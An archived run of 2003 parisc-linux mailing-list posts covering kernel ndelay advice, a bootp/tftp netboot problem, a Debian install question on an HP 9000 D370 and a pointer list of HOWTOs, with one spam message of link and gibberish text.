X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3E689FC400001167@ocpmta1.freegates.net>
X-Mailer: Ximian Evolution 1.2.1 (1.2.1-4) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17893

On Tue, 2003-03-11 at 16:27, Joel Soete wrote:
> Hi all,
> 
> In the new 2.4.21-pre5 we need a ndelay() function (ide support for b2k at
> least).

If you can't do ndelay well, udelay(1) as an equivalent is just fine.
What it must be is at least the required nSec delay



From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ndelay() ?
Date: Tue, 11 Mar 2003 19:29:41 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3E68A39600000B98@ocpmta7.freegates.net>
References: <1047409836.19931.3.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622273 22733 80.91.229.3 (22 Nov 2014 02:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 11:29:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 434654838
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 11:29:45 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18soVT-0001J0-00; Tue, 11 Mar 2003 19:29:43 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 11 Mar 2003 19:29:41 +0100
In-Reply-To: <1047409836.19931.3.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17894

>-- Original Message --
>Subject: Re: [parisc-linux] ndelay() ?
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: 11 Mar 2003 19:10:37 +0000
>
>
>On Tue, 2003-03-11 at 16:27, Joel Soete wrote:
>> Hi all,
>> 
>> In the new 2.4.21-pre5 we need a ndelay() function (ide support for b2k
>at
>> least).
>
>If you can't do ndelay well, udelay(1) as an equivalent is just fine.
>What it must be is at least the required nSec delay
>

Many thanks Alan,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ndelay() ?
Date: Tue, 11 Mar 2003 19:46:32 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <3E68A39600000BA6@ocpmta7.freegates.net>
References: <1047409836.19931.3.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622273 22735 80.91.229.3 (22 Nov 2014 02:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 11:46:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 478CF4830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 11:46:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18solm-0003Jr-00; Tue, 11 Mar 2003 19:46:34 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 11 Mar 2003 19:46:32 +0100
In-Reply-To: <1047409836.19931.3.camel@irongate.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17895

>-- Original Message --
>Subject: Re: [parisc-linux] ndelay() ?
>From: Alan Cox <alan@lxorguk.ukuu.org.uk>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: 11 Mar 2003 19:10:37 +0000
>
>
>On Tue, 2003-03-11 at 16:27, Joel Soete wrote:
>> Hi all,
>> 
>> In the new 2.4.21-pre5 we need a ndelay() function (ide support for b2k
>at
>> least).
>
>If you can't do ndelay well, udelay(1) as an equivalent is just fine.
>What it must be is at least the required nSec delay
>
That boots fine (and ide cdrom seems to works fine also) :)

Cheers,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: trnepal <trnepal@papuasia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bootp/tftpd :(
Date: Wed, 12 Mar 2003 00:11:21 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <200303120011.21354.trnepal@papuasia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622273 22738 80.91.229.3 (22 Nov 2014 02:11:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 11 16:04:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.cp.tin.it (vsmtp3.tin.it [212.216.176.223])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6CF34830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Mar 2003 16:04:34 -0700 (MST)
Original-Received: from vaiom (80.117.31.93) by smtp3.cp.tin.it (6.5.033)
        id 3E48CE9F00B1ADBF for parisc-linux@lists.parisc-linux.org; Wed, 12 Mar 2003 00:04:31 +0100
User-Agent: KMail/1.4.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17896


hi all,

im trying the lifimage 2.4.20-pa18-200301 from the esiee.fr pa team with
a 712/60 and a debian linux woody stable as as bootp/tftpd boot server.

inetd.conf:
bootps          dgram   udp     wait    root    /usr/sbin/bootpd  bootpd =
-i -t=20
120
tftp    dgram   udp     wait    root    /usr/sbin/tcpd  /usr/sbin/in.tftp=
d=20
/tftpboot


the bootptab entry:
pa:tc=3Dallhost:ht=3Dether:bf=3Dlifimage.img:hd=3D/tftpboot:ha=3D080009C9=
A102:ip=3D10.0.0.12:to=3D7200


BOOT_ADMIN> boot lan .. and nothing happens :)


my syslog:
Mar 12 00:04:17 vivaio in.tftpd[786]: connect from 10.0.0.12
Mar 12 00:04:17 vivaio tftpd[787]: tftpd: trying to get file:=20
/tftpboot/lifimage.img

and tcpdump ..
tcpdump: listening on eth0
00:05:39.631149 10.0.0.11.bootps > 10.0.0.12.bootpc:  xid:0x420b596a=20
Y:10.0.0.12 S:10.0.0.11 sname "vivaio" [|bootp] (DF)
00:05:39.970369 10.0.0.12.51998 > 10.0.0.11.tftp:  516 RRQ=20
"/tftpboot/lifimage.img" [tos 0x10]
00:05:40.024953 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
00:05:40.026317 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
00:05:40.026458 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
00:05:40.027593 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
00:05:40.027701 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
00:05:40.028837 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
00:05:40.028940 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)


sigh :((

any clues? thanks in advance.
seeyouu byee.,'





From - Thu Nov 08 21:27:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bootp/tftpd :(
Date: Wed, 12 Mar 2003 09:52:43 +0100
Organization: ESIEE
Lines: 92
Approved: news@gmane.org
Message-ID: <20030312095243.4324170a.varenet@esiee.fr>
References: <200303120011.21354.trnepal@papuasia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622274 22740 80.91.229.3 (22 Nov 2014 02:11:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "trnepal" <trnepal@papuasia.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 01:52:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E061485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 01:52:48 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030312085243.XGKT29131.viefep13-int.chello.at@Bibou>;
          Wed, 12 Mar 2003 09:52:43 +0100
In-Reply-To: <200303120011.21354.trnepal@papuasia.org>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17897

In your case 1) should be enough.

-----
This is a template message.

1) Read the PA-RISC/Linux Boot HOWTO
http://pateam.esiee.fr/doc.html

2) Read the FAQ
http://www.fr.parisc-linux.org/faq/

3) Read the parisc-linux mailing-list archive
http://www.fr.parisc-linux.org/mailing-lists/

4) Check the Hardware Database
http://hwdb.parisc-linux.org/

5) Check the supported machines list
http://pateam.esiee.fr/list.html

6) Read the "HOWTO Report a Kernel Bug"
http://www.fr.parisc-linux.org/faq/kernelbug-howto.html

7) Read the "HOWTO Build a PA-RISC/Linux Kernel"
http://www.fr.parisc-linux.org/kernel/

----
That template may grow as some questions will reappear :P


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


On Wed, 12 Mar 2003 00:11:21 +0100
"trnepal" <trnepal@papuasia.org> wrote:

> 
> 
> hi all,
> 
> im trying the lifimage 2.4.20-pa18-200301 from the esiee.fr pa team with
> a 712/60 and a debian linux woody stable as as bootp/tftpd boot server.
> 
> inetd.conf:
> bootps          dgram   udp     wait    root    /usr/sbin/bootpd  bootpd -i -t 
> 120
> tftp    dgram   udp     wait    root    /usr/sbin/tcpd  /usr/sbin/in.tftpd 
> /tftpboot
> 
> 
> the bootptab entry:
> pa:tc=allhost:ht=ether:bf=lifimage.img:hd=/tftpboot:ha=080009C9A102:ip=10.0.0.12:to=7200
> 
> 
> BOOT_ADMIN> boot lan .. and nothing happens :)
> 
> 
> my syslog:
> Mar 12 00:04:17 vivaio in.tftpd[786]: connect from 10.0.0.12
> Mar 12 00:04:17 vivaio tftpd[787]: tftpd: trying to get file: 
> /tftpboot/lifimage.img
> 
> and tcpdump ..
> tcpdump: listening on eth0
> 00:05:39.631149 10.0.0.11.bootps > 10.0.0.12.bootpc:  xid:0x420b596a 
> Y:10.0.0.12 S:10.0.0.11 sname "vivaio" [|bootp] (DF)
> 00:05:39.970369 10.0.0.12.51998 > 10.0.0.11.tftp:  516 RRQ 
> "/tftpboot/lifimage.img" [tos 0x10]
> 00:05:40.024953 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> 00:05:40.026317 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
> 00:05:40.026458 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> 00:05:40.027593 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
> 00:05:40.027701 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> 00:05:40.028837 10.0.0.12.51998 > 10.0.0.11.1048:  udp 4 [tos 0x10]
> 00:05:40.028940 10.0.0.11.1048 > 10.0.0.12.51998:  udp 516 (DF)
> 
> 
> sigh :((
> 
> any clues? thanks in advance.
> seeyouu byee.,'
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "" <atghyomiosness14@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hey qd
Date: Wed, 12 Mar 03 06:16:56 GMT
Lines: 22
Approved: news@gmane.org
Message-ID: <5771.93479189209$1416622274@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="6.7_6A93B875F8530F5C.9"
X-Trace: ger.gmane.org 1416622274 22743 80.91.229.3 (22 Nov 2014 02:11:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 04:31:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21051485F
	for <parisc-linux@parisc-linux.org>; Wed, 12 Mar 2003 04:31:49 -0700 (MST)
Original-Received: from dial3-215.ba.nextra.sk (dial3-215.ba.nextra.sk [195.168.62.215])
	by cuprel1.hp.com (Postfix) with SMTP id 156AD2312
	for <parisc-linux@parisc-linux.org>; Wed, 12 Mar 2003 03:31:46 -0800 (PST)
Original-Received: from 4pi.z.a2vw6e8o [89.63.62.94] by dial3-215.ba.nextra.sk with ESMTP id XRWGNPBRE; Wed, 12 Mar 03 06:20:56 +0400
Original-Received: from yfu.v.tyve.q5 [198.35.31.113] by 89.63.62.94 with ESMTP id LQVKBTY; Wed, 12 Mar 03 06:16:56 +0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: AOL 7.0 for Windows US sub 118
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17898

This is a multi-part message in MIME format.

--6.7_6A93B875F8530F5C.9
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<center>
<a href=3D"http://203.34.205.88/users/happy/date/">
<img src=3D"http://203.34.205.88/users/happy/date/date.jpg"
</a>
vmk lxb np j q
 bhtgnmp zm
ts

nfr z tlueze
llfopemdzqvfeg oogzeab
g tg
ipsdoxhrkhrk
kzkite
--6.7_6A93B875F8530F5C.9--



From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Willian Ricardo" <willian@mococasa.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC hp 9000 model D 370
Date: Wed, 12 Mar 2003 10:19:57 -0300
Lines: 98
Approved: news@gmane.org
Message-ID: <008401c2e89a$13d85ef0$9632326e@wpires>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0081_01C2E880.EE3D2E00"
X-Trace: ger.gmane.org 1416622274 22747 80.91.229.3 (22 Nov 2014 02:11:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 06:18:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from internet.mococasa.com.br (unknown [200.246.12.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0774C485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 06:18:24 -0700 (MST)
Original-Received: from localhost (internet.mococasa [127.0.0.1])
	by internet.mococasa.com.br (Postfix) with ESMTP id D3A68281BD
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:17:52 -0300 (BRT)
Original-Received: from wpires (unknown [110.50.50.150])
	by internet.mococasa.com.br (Postfix) with SMTP id A0DA8281BC
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 10:17:46 -0300 (BRT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17899

This is a multi-part message in MIME format.

------=_NextPart_000_0081_01C2E880.EE3D2E00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

My name is Willian I am from Brazil, I have a personal computer RISC HP =
9000 I Model D 370 =20
I am trying to install DEBIAN 3.0, but I am having some problems in the =
hour of the installation. =20
I inserted the CD in the unit and I pressed the key space, I typed: bo =
8/16/5.2.0 and he began for the cd, he asked something on IPL I answered =
Y and later he asked me something about memory, I placed my memory and =
he/she asked something on vmlinux 32 or 64, I changed for 64, later I =
pressed " b "  =20
he brought me the following answer: =20
 =20
 =20
 Command line for kernel :  ramdisk_size=3D2663046 root =3D /dev/ram =
console=3Dtty0 TERM=3Dvt102 palo_kernel=3D0/vmlinux64
selected kernel: /vmlinux64 from partition 0
selected ramdisk:/ramdisk from partition 0
.
.
.
.
loading ramdisk 2663046 bytes@2fd65000...
Branching to kernel entry point 0x0010000. If this the last
Message you, you may need to switch you console . this is a common =
symptom -- search the FAQ and mailing at parisc-linux.org

what could be? =20
Thank you  =20
Willian


------=_NextPart_000_0081_01C2E880.EE3D2E00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>My name is Willian I am from Brazil, I =
have a=20
personal computer RISC HP 9000 I Model D 370&nbsp; <BR>I am trying to =
install=20
DEBIAN 3.0, but I am having some problems in the hour of the =
installation.&nbsp;=20
<BR>I inserted the CD in the unit and I pressed the key space, I typed: =
bo=20
8/16/5.2.0 and he began for the cd, he asked something on IPL I answered =
Y and=20
later he asked me something about memory, I placed my memory and he/she =
asked=20
something on vmlinux 32 or 64, I changed for 64, later I pressed " b=20
"&nbsp;&nbsp; <BR>he brought me the following=20
answer:&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;</FONT><FONT=
=20
face=3DArial size=3D2>Command line for kernel :&nbsp; =
ramdisk_size=3D2663046 root =3D=20
/dev/ram console=3Dtty0 TERM=3Dvt102 =
palo_kernel=3D0/vmlinux64</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>selected kernel: /vmlinux64 from =
partition=20
0</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>selected ramdisk:/ramdisk from =
partition=20
0</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>loading ramdisk 2663046 <A=20
href=3D"mailto:bytes@2fd65000">bytes@2fd65000</A>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Branching to kernel entry point =
0x0010000. If this=20
the last</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Message you, you may need to switch you =
console .=20
this is a common symptom -- search the FAQ and mailing at=20
parisc-linux.org</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>what could be?&nbsp; <BR>Thank =
you&nbsp;&nbsp;=20
<BR>Willian</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0081_01C2E880.EE3D2E00--



From - Thu Nov 08 21:27:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compile-Failure Kernel 2.5.64-pa4
Date: Wed, 12 Mar 2003 14:52:33 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <3E6F3BA1.6050707@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622275 22753 80.91.229.3 (22 Nov 2014 02:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 12 06:51:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (unknown [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 59945485F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Mar 2003 06:51:23 -0700 (MST)
Original-Received: (qmail 6009 invoked from network); 12 Mar 2003 13:51:20 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.27.100)
  by mail.medianet-world.de with SMTP; 12 Mar 2003 13:51:20 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3b) Gecko/20030210
X-Accept-Language: de-de, de, en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
